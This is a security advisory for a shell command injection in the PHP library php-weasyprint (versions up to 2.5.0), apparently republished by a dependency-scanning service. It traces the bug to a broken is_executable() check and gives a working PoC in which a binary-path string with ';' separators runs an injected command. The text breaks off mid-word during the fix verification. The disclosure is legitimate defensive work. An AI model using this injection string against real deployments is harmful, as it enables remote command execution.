Packagist · pontedilana/php-weasyprint
php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)
pontedilana/php-weasyprint builds the shell command for WeasyPrint by passing the binary path through escapeshellarg() first and then checking the quoted result with is_executable(). On POSIX escapeshellarg('/usr/local/bin/weasyprint') returns '/usr/local/bin/weasyprint' with the single-quote characters as part of the string, so is_executable() looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw $binary string (set via the constructor or setBinary()) flows directly into Symfony\Component\Process\Process::fromShellCommandline(). Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc (Snappy 1.7.1).
pontedilana/php-weasyprint versions <= 2.5.0 (current master tip commit c2b51fed0bf442c3bf0292b879a09944d436f2a0, 2026-04-03).
Patched in: 2.5.1
Any caller that can influence the binary string handed to the Pdf constructor or to AbstractGenerator::setBinary(). Typical reach paths:
config/services.yaml, .env, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override.weasyprint-v60, weasyprint-v66) for compatibility reasons.Once an attacker plants a string containing shell metacharacters in one of those channels, every subsequent generate() call shells out the injected payload as the PHP process user.
src/AbstractGenerator.php#L169-L172:
protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
$escapedBinary = \escapeshellarg($binary);
$command = \is_executable($escapedBinary) ? $escapedBinary : $binary;
src/Pdf.php#L167-L170 overrides buildCommand with the same guard:
protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
$escapedBinary = \escapeshellarg($binary);
$command = \is_executable($escapedBinary) ? $escapedBinary : $binary;
escapeshellarg($binary) returns a single-quoted string. is_executable() then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where $command is the raw, unescaped $binary string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment — which is exactly the segment configuration-driven deployments treat as trusted.
This is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of php-weasyprint states: "This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same)." The vulnerable buildCommand was copied verbatim and never updated.
$binary reaches the shellcaller code
└── new Pdf($binary) // src/Pdf.php constructor
└── parent::__construct($binary)
└── $this->setBinary($binary) // src/AbstractGenerator.php:276
$this->binary = $binary; // no validation
later, at conversion time:
$pdf->generate($input, $output, $options)
└── $this->getCommand($input, $output, $options) // src/AbstractGenerator.php:298
└── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306
└── ($vulnerable guard, see above)
└── returns $command including raw $binary
└── $this->executeCommand($command) // src/AbstractGenerator.php:202
└── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout)
└── /bin/sh -c $command // shell metacharacters interpreted
No intermediate validator, no scheme check, no allow-list. Whatever string reaches setBinary() is shell-evaluated.
<?php
require __DIR__ . '/vendor/autoload.php';
use Pontedilana\PhpWeasyPrint\Pdf;
@unlink('/tmp/php_weasyprint_rce_marker');
// Attacker-controlled binary string (e.g. coming from config / env / tenant settings).
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';
$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);
try {
$pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
// WeasyPrint binary call fails (its actual exit status is irrelevant);
// the injected 'touch' between the ';' separators already ran.
}
if (file_exists('/tmp/php_weasyprint_rce_marker')) {
echo "RCE MARKER PRESENT — injection landed.\n";
} else {
echo "RCE marker absent — injection did NOT land.\n";
}
The # at the end of $binaryString comments out the unrelated '/dev/null' '/tmp/poc_out.pdf' tail that buildCommand appends, keeping the shell line syntactically valid.
# 1. Pin the affected version
mkdir poc-weasyprint && cd poc-weasyprint
cat > composer.json <<'EOF'
{
"require": { "pontedilana/php-weasyprint": "2.5.0" }
}
EOF
composer install --no-dev --quiet
# 2. Run the PoC
php poc.php
Captured run output (PHP 8.5.6, macOS arm64):
--- buildCommand output (uses reflection to peek) ---
weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf'
--- end buildCommand ---
generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma...
--- post-exec check ---
RCE MARKER PRESENT — injection landed.
stat: -rw-r--r--@ 1 rick wheel 0 5月 25 13:44 /tmp/php_weasyprint_rce_marker
Interpretation:
| Observation | Expected if guard worked | Actual |
|---|---|---|
Compiled command starts with weasyprint --version ...; touch ...; # |
Should be wrapped in single quotes, e.g. 'weasyprint --version > /dev/null; touch /tmp/...; #' |
Raw, unquoted |
/tmp/php_weasyprint_rce_marker after generate() |
Absent (binary path validation rejects) | Present — injected touch ran |
The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.
Negative control on a benign binary path:
php poc_negctrl.php
# --- buildCommand for benign binary ---
# /usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf'
# Benign-path negative control clean: no spurious marker.
Even the benign path is emitted raw (without single-quotes around the binary), confirming the is_executable() guard never returns true — defensive depth is gone for every deployment, not just the malicious one.
Fix verification: replacing both buildCommand overrides with the KnpLabs/snappy 1.7.1 shape (if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);) and re-running the same harness:
--- patc
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.